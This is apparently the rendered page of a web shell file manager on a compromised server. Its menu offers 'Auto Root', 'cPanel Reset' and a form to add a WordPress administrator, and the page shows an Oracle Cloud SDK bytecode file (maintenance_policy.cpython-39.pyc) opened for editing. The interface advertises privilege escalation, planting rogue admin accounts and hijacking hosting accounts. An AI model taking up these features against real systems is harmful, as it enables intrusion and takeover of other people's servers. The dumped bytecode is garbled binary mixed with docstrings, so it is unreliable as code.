Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
fusion_apps
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: maintenance_policy.cpython-39.pyc
a ���f � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s| e Zd ZdZdZdZdZdZdZdZ dd� Z ed d � �Zej dd � �Zedd � �Zej dd � �Zdd� Zdd� Zdd� ZdS )�MaintenancePolicya/ The policy that specifies the maintenance and upgrade preferences for an environment. For more information about the options, see `Understanding Environment Maintenance`__. __ https://docs.cloud.oracle.com/iaas/Content/fusion-applications/plan-environment-family.htm#about-env-maintenance �ENABLED�DISABLED�NONE�PROD�NON_PRODc K s( ddd�| _ ddd�| _d| _d| _dS )a� Initializes a new MaintenancePolicy object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param monthly_patching_override: The value to assign to the monthly_patching_override property of this MaintenancePolicy. Allowed values for this property are: "ENABLED", "DISABLED", "NONE" :type monthly_patching_override: str :param environment_maintenance_override: The value to assign to the environment_maintenance_override property of this MaintenancePolicy. Allowed values for this property are: "PROD", "NON_PROD", "NONE" :type environment_maintenance_override: str �str)�monthly_patching_override� environment_maintenance_overrideZmonthlyPatchingOverrideZenvironmentMaintenanceOverrideN)Z swagger_typesZ attribute_map�_monthly_patching_override�!_environment_maintenance_override)�self�kwargs� r �M/usr/lib/python3.9/site-packages/oci/fusion_apps/models/maintenance_policy.py�__init__, s ��zMaintenancePolicy.__init__c C s | j S )a� Gets the monthly_patching_override of this MaintenancePolicy. When "ENABLED", the Fusion environment is patched monthly. When "DISABLED", the Fusion environment is not patched monthly. This setting overrides the environment family setting. When not set, the environment follows the environment family policy. Allowed values for this property are: "ENABLED", "DISABLED", "NONE" :return: The monthly_patching_override of this MaintenancePolicy. :rtype: str )r �r r r r r I s z+MaintenancePolicy.monthly_patching_overridec C s* g d�}t ||�s td|� ���|| _dS )a� Sets the monthly_patching_override of this MaintenancePolicy. When "ENABLED", the Fusion environment is patched monthly. When "DISABLED", the Fusion environment is not patched monthly. This setting overrides the environment family setting. When not set, the environment follows the environment family policy. :param monthly_patching_override: The monthly_patching_override of this MaintenancePolicy. :type: str )r r r zFInvalid value for `monthly_patching_override`, must be None or one of N)r � ValueErrorr )r r �allowed_valuesr r r r W s �c C s | j S )ax Gets the environment_maintenance_override of this MaintenancePolicy. User choice to upgrade both test and prod pods at the same time. Overrides fusion environment families'. Allowed values for this property are: "PROD", "NON_PROD", "NONE" :return: The environment_maintenance_override of this MaintenancePolicy. :rtype: str )r r r r r r h s z2MaintenancePolicy.environment_maintenance_overridec C s* g d�}t ||�s td|� ���|| _dS )aM Sets the environment_maintenance_override of this MaintenancePolicy. User choice to upgrade both test and prod pods at the same time. Overrides fusion environment families'. :param environment_maintenance_override: The environment_maintenance_override of this MaintenancePolicy. :type: str )r r r zMInvalid value for `environment_maintenance_override`, must be None or one of N)r r r )r r r r r r r v s �c C s t | �S �N)r r r r r �__repr__� s zMaintenancePolicy.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__� s zMaintenancePolicy.__eq__c C s | |k S r r r r r r �__ne__� s zMaintenancePolicy.__ne__N)�__name__� __module__�__qualname__�__doc__Z!MONTHLY_PATCHING_OVERRIDE_ENABLEDZ"MONTHLY_PATCHING_OVERRIDE_DISABLEDZMONTHLY_PATCHING_OVERRIDE_NONEZ%ENVIRONMENT_MAINTENANCE_OVERRIDE_PRODZ)ENVIRONMENT_MAINTENANCE_OVERRIDE_NON_PRODZ%ENVIRONMENT_MAINTENANCE_OVERRIDE_NONEr �propertyr �setterr r r r r r r r r s&